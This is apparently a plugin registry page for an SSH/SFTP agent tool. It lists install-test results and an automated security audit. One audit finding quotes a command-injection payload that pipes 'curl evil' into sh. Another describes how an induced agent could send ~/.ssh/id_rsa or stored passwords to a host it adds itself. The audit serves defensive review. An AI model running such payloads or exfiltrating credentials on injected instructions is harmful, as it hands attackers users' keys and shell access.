Install verification: sandbox install ok, web smoke failed (L5) · tested on dsh 0.2.1-rc.2 · last checked Install verification details →
What it doesAI
MobaXterm-style SSH/SFTP tool with saved profiles, persistent multiplexed sessions, remote command execution, SFTP transfer, and web GUI terminal.
- Saved connection profiles for quick access
- Persistent multiplexed SSH sessions
- Web GUI with file browser and live xterm terminal
Capability tags are AI-inferred or rule-extracted from the README (see badge) — vocabulary-limited, not install-verified. AI = inferred; README = literal keyword from the readme.
Installation
dsh plugin --profile web add github:hoshinoick811/dsh-tool-sshInstall method: GitHub · sandbox install ok, web smoke failed (L5)
Verification & Compatibility
Grouped by plugin version: each card lists the dsh versions actually tested against that artifact version and their install verdicts (L5 wins). Untested combinations are omitted — absence means untested, never assumed compatible. L1–L3 are a plugin-level static archive (independent of the dsh version — the same verdict on every dsh row): they sit in each row's level grid next to L4/L5, marked "static", while their evidence is stored once per plugin inside that row's "checks & evidence" instead of being duplicated per version.
External credentials (plugin-level): none detected
○ The author declares no dsh version requirement — install is not blocked by version.
| plugin \ dsh | dsh 0.2.1-rc.2 current | dsh 0.2.1-alpha.4 | dsh 0.2.1-alpha.2 | dsh 0.2.0-rc.2 | dsh 0.2.0-rc.1 |
|---|---|---|---|---|---|
| 74b814 | ✗ | ✗ | ✗ | ✗ | ✗ |
74b814github◐ 1 testing11 failed2026-10-19
https://github.com/hoshinoick811/dsh-tool-ssh
✗dsh 0.2.1-rc.2current2026-10-19L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.2
- • Plugin artifact: github · https://github.com/hoshinoick811/dsh-tool-ssh (version unstated)
ID: dsh-tool-ssh-2@74b814@dsh0.2.1-rc.2 · profile: l4-sandbox
Issued: 2026-10-19 · expires: 2026-10-26
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.1-alpha.42026-10-16L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.4
- • Plugin artifact: github · https://github.com/hoshinoick811/dsh-tool-ssh (version unstated)
ID: dsh-tool-ssh-2@74b814@dsh0.2.1-alpha.4 · profile: l4-sandbox
Issued: 2026-10-16 · expires: 2026-10-23
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.1-alpha.22026-10-11L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.2
- • Plugin artifact: github · https://github.com/hoshinoick811/dsh-tool-ssh (version unstated)
ID: dsh-tool-ssh-2@74b814@dsh0.2.1-alpha.2 · profile: l4-sandbox
Issued: 2026-10-11 · expires: 2026-10-18
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.0-rc.22026-10-08L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.0-rc.2
- • Plugin artifact: github · https://github.com/hoshinoick811/dsh-tool-ssh (version unstated)
ID: dsh-tool-ssh-2@74b814@dsh0.2.0-rc.2 · profile: l4-sandbox
Issued: 2026-10-08 · expires: 2026-10-15
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.2.0-rc.12026-09-29L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.2.0-rc.1
- • Plugin artifact: github · https://github.com/hoshinoick811/dsh-tool-ssh (version unstated)
ID: dsh-tool-ssh-2@74b814@dsh0.2.0-rc.1 · profile: l4-sandbox
Issued: 2026-09-29 · expires: 2026-10-06
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.1.7-rc.22026-09-25L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.1.7-rc.2
- • Plugin artifact: github · https://github.com/hoshinoick811/dsh-tool-ssh (version unstated)
ID: dsh-tool-ssh-2@74b814@dsh0.1.7-rc.2 · profile: l4-sandbox
Issued: 2026-09-25 · expires: 2026-10-02
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.1.7-rc.12026-09-23not tested
- • Node.js: v24.14.0
- • DSH: 0.1.7-rc.1
- • Plugin artifact: github · https://github.com/hoshinoick811/dsh-tool-ssh (version unstated)
ID: dsh-tool-ssh-2@74b814@dsh0.1.7-rc.1 · profile: l4-sandbox
Issued: 2026-09-23 · expires: 2026-09-30
View checks & evidence
This level was not executed in this scan.
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.1.6-alpha.22026-09-20L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.2
- • Plugin artifact: github · https://github.com/hoshinoick811/dsh-tool-ssh (version unstated)
ID: dsh-tool-ssh-2@74b814@dsh0.1.6-alpha.2 · profile: l4-sandbox
Issued: 2026-09-20 · expires: 2026-09-27
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.1.6-alpha.12026-09-17L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.1
- • Plugin artifact: github · https://github.com/hoshinoick811/dsh-tool-ssh (version unstated)
ID: dsh-tool-ssh-2@74b814@dsh0.1.6-alpha.1 · profile: l4-sandbox
Issued: 2026-09-17 · expires: 2026-09-24
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.1.5-rc.22026-09-11L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.1.5-rc.2
- • Plugin artifact: github · https://github.com/hoshinoick811/dsh-tool-ssh (version unstated)
ID: dsh-tool-ssh-2@74b814@dsh0.1.5-rc.2 · profile: l4-sandbox
Issued: 2026-09-11 · expires: 2026-09-18
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗dsh 0.1.3-alpha.22026-09-08L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.1.3-alpha.2
- • Plugin artifact: github · https://github.com/hoshinoick811/dsh-tool-ssh (version unstated)
ID: dsh-tool-ssh-2@74b814@dsh0.1.3-alpha.2 · profile: l4-sandbox
Issued: 2026-09-08 · expires: 2026-09-15
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
◐dsh 0.1.3-alpha.12026-09-07L4 · testing (install passed, runtime untested)
- • Node.js: v24.14.0
- • DSH: 0.1.3-alpha.1
- • Plugin artifact: github · https://github.com/hoshinoick811/dsh-tool-ssh (version unstated)
ID: dsh-tool-ssh-2@74b814@dsh0.1.3-alpha.1 · profile: l4-sandbox
Issued: 2026-09-07 · expires: 2026-09-14
View checks & evidence
This level was not executed in this scan.
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✗prehistory2026-10-04L5 · failed
- • Node.js: v24.14.0
- • DSH: unknown
- • Plugin artifact: github · https://github.com/hoshinoick811/dsh-tool-ssh (version unstated)
ID: dsh-tool-ssh-2@74b814@dshunknown · profile: l4-sandbox
Issued: 2026-10-04 · expires: 2026-10-11
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
Author badges
Embed the official badges in your README to showcase security & install-test status:
`[](https://www.dsh.so/artifact/dsh-tool-ssh-2/)`Security Report
Two automated layers, neither a manual review: a static scan (per-plugin rule checks) and a model-driven dynamic security audit that covers only the subset static-flagged at warn or above and never executes plugin code.
Static low, dynamic medium — stricter wins → overall medium.
v0.1.0dsh manifest0.1.0git2026-10-220.1.0same versionclean · gitVet is an AST static scan (npm artifact or git source).
show static findings (1)
- criticalshellExec · shell
lib/ssh-core.js:252async exec(id, command, options = {}) {
show 4 audit findings
- mediumssh_upload/ssh_download follow absolute local paths, escaping the agent workspace
lib/ssh-core.js:426lib/index.js passes the model-supplied localPath through resolveLocalPath for both ssh_upload (source of sftp.fastPut) and ssh_download (destination of sftp.fastGet). An absolute path bypasses the workspace base, so an induced agent can push any file readable by the DSH process (e.g. ~/.ssh/id_rsa, or $DSH_HOME/dsh-tool-ssh/connections.json which holds plaintext passwords) to a remote host it can itself define with ssh_connections action=add, or overwrite arbitrary local files on download. Note the ssh_download default also derives the local name from the remote basename, so a remote path endi
- mediumHTTP control plane drives remote shells and file transfer with no auth material in the client
client.jsEvery privileged operation of the plugin is a plain HTTP call under /plugins/dsh-tool-ssh: create an interactive remote shell (/term/open), type into it (/term/input), resize/stream/close it, list/upload/download files over SFTP (/fs/*), and read/create/delete saved connection profiles (/connections). The client attaches no token, header or credentials of its own (refreshConnections: `api('/connections')`, downloads via a plain <a href>). The implementing server file lib/ui.js was not harvested, so it cannot be confirmed that these routes re-check caller identity/authorisation or enforce CSRF
- lowcwd is interpolated into the remote command with JSON quoting that does not escape $ or backticks
lib/ssh-core.js:256JSON.stringify yields a double-quoted string, but inside double quotes the shell still performs command substitution and variable expansion, so a cwd such as "$(curl evil|sh)" or a backtick payload executes. This is a quoting/hardening defect, not a boundary crossing: whoever controls cwd also controls `command`, which is handed to the remote shell verbatim by design, so no additional privilege is gained. It explains — and refutes — the static scanner's critical 'shell command' flag.
- lowSaved SSH passwords and passphrases are persisted in plaintext with default file permissions
lib/ssh-core.js:98connections.json under $DSH_HOME/dsh-tool-ssh stores password/passphrase/privateKey values verbatim (putConnection is fed profile.password in lib/index.js) and is created with the process umask, commonly 0644, with no chmod on the file or its parent directory. Any other local user or any process able to read that path obtains reusable credentials for every saved host. The design is disclosed in the tool description and system prompt, which lowers but does not remove the exposure.
Core SSH/SFTP logic is not backdoored, but ssh_upload/ssh_download follow absolute local paths outside the workspace and the browser-driven HTTP control plane can drive shells and file transfer.
Rule: the dynamic audit can only raise risk, never lower it (raise-only, never an exemption); a wrong raise is withdrawn by human review and the tier falls back to the static verdict. Overall verdict = the stricter of the two layers.
Disclaimer: the static scan and the dynamic security audit are both automated analysis, not a security guarantee. Always review what you install.
Activity
Last commit 2026-09-06 · activity: Stable
• Repo created: 2026-09-06
• Stars: ★ 4 · Forks: 0
• Health: Stable — committed within 90 days
Source
Author README
View on GitHub ↗The author's original README from the repository — fetched live, unedited (the English page loads the default README).
